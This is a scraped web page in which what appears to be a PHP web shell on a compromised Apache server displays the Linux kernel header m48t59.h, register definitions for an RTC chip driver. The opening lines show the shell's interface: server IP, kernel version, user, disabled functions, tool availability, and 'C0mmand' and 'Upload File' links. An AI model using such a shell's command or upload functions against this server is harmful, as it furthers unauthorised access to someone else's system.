|
Server IP : 128.199.20.84 / Your IP : 172.69.17.32 Web Server : Apache/2.4.41 (Ubuntu) System : Linux competent-maruti 5.4.0-128-generic #144-Ubuntu SMP Tue Sep 20 11:00:04 UTC 2022 x86_64 User : www-data ( 33) PHP Version : 8.0.20 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF Directory (0755) : /usr/src/linux-headers-5.4.0-216/include/linux/rtc/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
/* SPDX-License-Identifier: GPL-2.0-only */
/*
* include/linux/rtc/m48t59.h
*
* Definitions for the platform data of m48t59 RTC chip driver.
*
* Copyright (c) 2007 Wind River Systems, Inc.
*
* Mark Zhan <[email protected]>
*/
#ifndef _LINUX_RTC_M48T59_H_
#define _LINUX_RTC_M48T59_H_
/*
* M48T59 Register Offset
*/
#define M48T59_YEAR 0xf
#define M48T59_MONTH 0xe
#define M48T59_MDAY 0xd /* Day of Month */
#define M48T59_WDAY 0xc /* Day of Week */
#define M48T59_WDAY_CB 0x20 /* Century Bit */
#define M48T59_WDAY_CEB 0x10 /* Century Enable Bit */
#define M48T59_HOUR 0xb
#define M48T59_MIN 0xa
#define M48T59_SEC 0x9
#define M48T59_CNTL 0x8
#define M48T59_CNTL_READ 0x40
#define M48T59_CNTL_WRITE 0x80
#define M48T59_WATCHDOG 0x7
#define M48T59_INTR 0x6
#define M48T59_INTR_AFE 0x80 /* Alarm Interrupt Enable */
#define M48T59_INTR_ABE 0x20
#define M48T59_ALARM_DATE 0x5
#define M48T59_ALARM_HOUR 0x4
#define M48T59_ALARM_MIN 0x3
#define M48T59_ALARM_SEC 0x2
#define M48T59_UNUSED 0x1
#define M48T59_FLAGS 0x0
#define M48T59_FLAGS_WDT 0x80 /* watchdog timer expired */
#define M48T59_FLAGS_AF 0x40 /* alarm */
#define M48T59_FLAGS_BF 0x10 /* low battery */
#define M48T59RTC_TYPE_M48T59 0 /* to keep compatibility */
#define M48T59RTC_TYPE_M48T02 1
#define M48T59RTC_TYPE_M48T08 2
struct m48t59_plat_data {
/* The method to access M48T59 registers */
void (*write_byte)(struct device *dev, u32 ofs, u8 val);
unsigned char (*read_byte)(struct device *dev, u32 ofs);
int type; /* RTC model */
/* ioaddr mapped externally */
void __iomem *ioaddr;
/* offset to RTC registers, automatically set according to the type */
unsigned int offset;
};
#endif /* _LINUX_RTC_M48T59_H_ */